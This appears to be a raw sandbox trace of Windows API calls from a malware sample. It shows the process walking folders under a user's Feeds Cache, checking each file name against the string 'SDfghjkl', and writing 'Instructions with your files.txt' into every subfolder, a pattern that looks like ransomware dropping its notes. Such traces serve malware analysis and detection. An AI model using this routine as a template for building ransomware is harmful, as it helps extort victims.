[0130.483] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.484] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\..") returned 72
[0130.484] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.484] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1
[0130.484] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR") returned 78
[0130.484] GetProcessHeap () returned 0x810000
[0130.484] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.484] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*") returned 80
[0130.484] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.484] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\.") returned 80
[0130.484] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.484] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.484] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\..") returned 81
[0130.484] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.485] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.485] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\desktop.ini") returned 90
[0130.485] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.485] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
[0130.485] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\fwlink[1]") returned 88
[0130.485] StrStrIW (lpFirst="fwlink[1]", lpSrch="SDfghjkl") returned 0x0
[0130.485] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
[0130.485] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Instructions with your files.txt") returned 111
[0130.485] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\1nbur4hr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.485] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.486] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.486] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.486] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.486] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.486] CloseHandle (hObject=0x11c) returned 1
[0130.486] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.486] GetProcessHeap () returned 0x810000
[0130.486] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.486] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1
[0130.487] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7") returned 78
[0130.487] GetProcessHeap () returned 0x810000
[0130.487] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.487] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*") returned 80
[0130.487] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.487] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\.") returned 80
[0130.487] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.487] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.487] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\..") returned 81
[0130.487] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.487] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.487] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\desktop.ini") returned 90
[0130.487] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.487] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
[0130.487] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\fwlink[1]") returned 88
[0130.487] StrStrIW (lpFirst="fwlink[1]", lpSrch="SDfghjkl") returned 0x0
[0130.487] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
[0130.487] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Instructions with your files.txt") returned 111
[0130.488] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\6asvn7j7\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.488] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.489] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.489] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.489] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.489] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.489] CloseHandle (hObject=0x11c) returned 1
[0130.489] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.489] GetProcessHeap () returned 0x810000
[0130.489] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.489] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="D68G7BIJ", cAlternateFileName="")) returned 1
[0130.489] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ") returned 78
[0130.489] GetProcessHeap () returned 0x810000
[0130.489] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0130.489] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*") returned 80
[0130.489] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0130.490] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\.") returned 80
[0130.490] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0130.490] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.490] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\..") returned 81
[0130.490] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0130.490] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.490] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\desktop.ini") returned 90
[0130.490] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.490] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1
[0130.490] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\fwlink[1]") returned 88
[0130.490] StrStrIW (lpFirst="fwlink[1]", lpSrch="SDfghjkl") returned 0x0
[0130.490] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff06fa11, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0
[0130.490] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Instructions with your files.txt") returned 111
[0130.490] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\D68G7BIJ\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds cache\\d68g7bij\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c
[0130.490] WriteFile (in: hFile=0x11c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22ce6e4*=0x54, lpOverlapped=0x0) returned 1
[0130.491] WriteFile (in: hFile=0x11c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22ce6e4*=0x18, lpOverlapped=0x0) returned 1
[0130.491] WriteFile (in: hFile=0x11c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22ce6e4*=0xc, lpOverlapped=0x0) returned 1
[0130.491] WriteFile (in: hFile=0x11c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22ce6e4*=0x16, lpOverlapped=0x0) returned 1
[0130.492] WriteFile (in: hFile=0x11c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22ce6e4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22ce6e4*=0x23, lpOverlapped=0x0) returned 1
[0130.492] CloseHandle (hObject=0x11c) returned 1
[0130.492] FindClose (in: hFindFile=0x876d78 | out: hFindFile=0x876d78) returned 1
[0130.492] GetProcessHeap () returned 0x810000
[0130.492] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0130.492] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe9e3d85, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
[0130.492] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\desktop.ini") returned 81
[0130.492] StrStrIW (lpFirst="desktop.ini", lpSrch="SDfghjkl") returned 0x0
[0130.492] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2bc126f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1
[0130.492] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\index.dat") returned 79
[0130.492] StrStrIW (lpFirst="index.dat", lpSrch="SDfghjkl") returned 0x0
[0130.492] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d90010, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d90010, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="KQMHSVKD", cAlternateFileName="")) returned 1
[0130.492] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\KQMHSVKD") returned 78
